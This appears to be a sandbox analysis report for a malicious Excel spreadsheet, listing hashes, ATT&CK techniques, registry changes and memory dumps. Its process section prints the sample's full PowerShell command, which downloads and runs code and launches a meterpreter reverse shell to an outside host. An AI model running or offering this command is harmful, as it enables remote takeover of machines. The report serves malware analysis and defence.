70e86f684f74cde3e37a3fb824b6d730050ca5458db8b03c9e9dc975a7775674

General

Target

70e86f684f74cde3e37a3fb824b6d730050ca5458db8b03c9e9dc975a7775674.xls
Size

37KB
MD5

266ce67ad31b20f92176a0caae1e907e
SHA1

3911cd98904c90bc5c10a02faa4d6a9c60061e07
SHA256

70e86f684f74cde3e37a3fb824b6d730050ca5458db8b03c9e9dc975a7775674
SHA512

6666953cd10ea0b50f4aedce3ccde83a8f04e4ec2f5c31c9ff9f8cad6dcd8aadb8df0888694a150c5e3ada9fcd92ec80a4981d4ee54ebedd70ed72bc0ce6dd12
SSDEEP

768:6ySCexexjRPD07EKisifs/vlwsEuR1p1MyxTN/DacSvXi32gtmSPzZco:6LVexjRPD07EKisifs/vlwsEuR1p1My9

Score

6^/10

Malware Config

Signatures

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service
T1102

Processes:

flow ioc

5 raw.githubusercontent.com
6 raw.githubusercontent.com

flow	ioc
5	raw.githubusercontent.com
6	raw.githubusercontent.com

Drops file in System32 directory 1 IoCs

Processes:

powershell.exe

description	ioc	process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Office loads VBA resources, possible macro or embedded object present
Enumerates system info in registry 2 TTPs 1 IoCs

Query Registry
T1012

System Information Discovery
T1082

Processes:

EXCEL.EXE

description ioc process

Key opened \REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor	EXCEL.EXE

Modifies Internet Explorer settings 1 TTPs 9 IoCs

adware spyware

Modify Registry

T1112

Processes:

EXCEL.EXE

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-2248906074-2862704502-246302768-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000"	EXCEL.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2248906074-2862704502-246302768-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1"	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-2248906074-2862704502-246302768-1000\Software\Microsoft\Internet Explorer\Toolbar	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2248906074-2862704502-246302768-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes"	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-2248906074-2862704502-246302768-1000\Software\Microsoft\Internet Explorer\MenuExt	EXCEL.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2248906074-2862704502-246302768-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55"	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-2248906074-2862704502-246302768-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2248906074-2862704502-246302768-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105"	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-2248906074-2862704502-246302768-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel	EXCEL.EXE

Script User-Agent 2 IoCs

Uses user-agent string associated with script host/environment.

Processes:

description	flow	ioc
HTTP User-Agent header	3	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	4	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

2240 EXCEL.EXE
Suspicious behavior: EnumeratesProcesses 1 IoCs

Processes:

powershell.exe

pid process

2832 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 2832 powershell.exe
Suspicious use of SetWindowsHookEx 3 IoCs

Processes:

EXCEL.EXE

pid process

2240 EXCEL.EXE
2240 EXCEL.EXE
2240 EXCEL.EXE

pid	process
2240	EXCEL.EXE

pid	process
2832	powershell.exe

description	pid	process
Token: SeDebugPrivilege	2832	powershell.exe

pid	process
2240	EXCEL.EXE
2240	EXCEL.EXE
2240	EXCEL.EXE

C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\70e86f684f74cde3e37a3fb824b6d730050ca5458db8b03c9e9dc975a7775674.xls
1⤵
- Enumerates system info in registry
- Modifies Internet Explorer settings
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:2240

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -noprofile -noexit -c IEX ((New-Object Net.WebClient).DownloadString('GitHub')); Invoke-Shellcode -Payload windows/meterpreter/reverse_http -Lhost 192.169.1.1 -Lport 80 -Force
1⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2832

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

1

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Web Service

1

T1102

Impact

Resource Development

Reconnaissance

Replay Monitor

Loading Replay Monitor...

Downloads

memory/2240-24-0x0000000000580000-0x0000000000680000-memory.dmp

Filesize
1024KB

Download
memory/2240-5-0x0000000000580000-0x0000000000680000-memory.dmp

Filesize
1024KB

Download
memory/2240-30-0x0000000000580000-0x0000000000680000-memory.dmp

Filesize
1024KB

Download
memory/2240-7-0x0000000000580000-0x0000000000680000-memory.dmp

Filesize
1024KB

Download
memory/2240-8-0x0000000000580000-0x0000000000680000-memory.dmp

Filesize
1024KB

Download
memory/2240-6-0x0000000000580000-0x0000000000680000-memory.dmp

Filesize
1024KB

Download
memory/2240-4-0x0000000000580000-0x0000000000680000-memory.dmp

Filesize
1024KB

Download
memory/2240-3-0x0000000000580000-0x0000000000680000-memory.dmp

Filesize
1024KB

Download
memory/2240-2-0x0000000000580000-0x0000000000680000-memory.dmp

Filesize
1024KB

Download
memory/2240-9-0x0000000000580000-0x0000000000680000-memory.dmp

Filesize
1024KB

Download
memory/2240-13-0x0000000000580000-0x0000000000680000-memory.dmp

Filesize
1024KB

Download
memory/2240-17-0x0000000000580000-0x0000000000680000-memory.dmp

Filesize
1024KB

Download
memory/2240-16-0x0000000000580000-0x0000000000680000-memory.dmp

Filesize
1024KB

Download
memory/2240-23-0x0000000000580000-0x0000000000680000-memory.dmp

Filesize
1024KB

Download
memory/2240-0-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/2240-1-0x0000000071FBD000-0x0000000071FC8000-memory.dmp

Filesize
44KB

Download
memory/2240-46-0x0000000000580000-0x0000000000680000-memory.dmp

Filesize
1024KB

Download
memory/2240-45-0x0000000000580000-0x0000000000680000-memory.dmp

Filesize
1024KB

Download
memory/2240-44-0x0000000000580000-0x0000000000680000-memory.dmp

Filesize
1024KB

Download
memory/2240-43-0x0000000071FBD000-0x0000000071FC8000-memory.dmp

Filesize
44KB

Download
memory/2832-39-0x000007FEF4EB0000-0x000007FEF584D000-memory.dmp

Filesize
9.6MB

Download
memory/2832-40-0x0000000002D90000-0x0000000002E10000-memory.dmp

Filesize
512KB

Download
memory/2832-42-0x0000000002D90000-0x0000000002E10000-memory.dmp

Filesize
512KB

Download
memory/2832-41-0x0000000002D90000-0x0000000002E10000-memory.dmp

Filesize
512KB

Download
memory/2832-37-0x000007FEF4EB0000-0x000007FEF584D000-memory.dmp

Filesize
9.6MB

Download
memory/2832-38-0x0000000002D90000-0x0000000002E10000-memory.dmp

Filesize
512KB

Download
memory/2832-36-0x0000000002290000-0x0000000002298000-memory.dmp

Filesize
32KB

Download
memory/2832-35-0x000000001B5F0000-0x000000001B8D2000-memory.dmp

Filesize
2.9MB

Download
memory/2832-47-0x000007FEF4EB0000-0x000007FEF584D000-memory.dmp

Filesize
9.6MB

Download
memory/2832-48-0x0000000002D90000-0x0000000002E10000-memory.dmp

Filesize
512KB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v13

Replay Monitor

Loading Replay Monitor...

Downloads